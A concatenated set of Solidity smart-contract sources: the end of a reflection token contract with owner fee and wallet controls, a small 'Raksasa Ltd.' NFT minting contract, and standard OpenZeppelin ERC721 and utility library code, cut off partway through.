function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToTeam(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function setMaxBuyEnabled(bool MaxBuyEnabled) external onlyOwner(){
_MaxBuyEnabled = MaxBuyEnabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25');
_taxFee = taxFee;
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
function _setTeamWallet(address payable teamWalletAddress) external onlyOwner() {
_teamWalletAddress = teamWalletAddress;
}
function _setMarketingWallet(address payable marketingWalletAddress) external onlyOwner() {
_marketingWalletAddress = marketingWalletAddress;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9');
_maxTxAmount = maxTxAmount;
}
function recoverTokens(uint256 tokenAmount) public virtual onlyOwner() {
_approve(address(this), owner(), tokenAmount);
_transfer(address(this), owner(), tokenAmount);
}
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|
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract RaksasaLtd is ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
constructor() ERC721("Raksasa Ltd.", "RKLTD") {}
function createLimitedEdition(
address[] calldata addressList,
string[] memory tokenUriList
) external onlyOwner {
require(tokenUriList.length == addressList.length, "Wrong Inputs");
for (uint256 i = 0; i < addressList.length; ++i) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(msg.sender, newItemId);
_setTokenURI(newItemId, tokenUriList[i]);
}
}
function currentId() public view returns (uint256) {
return _tokenIds.current();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
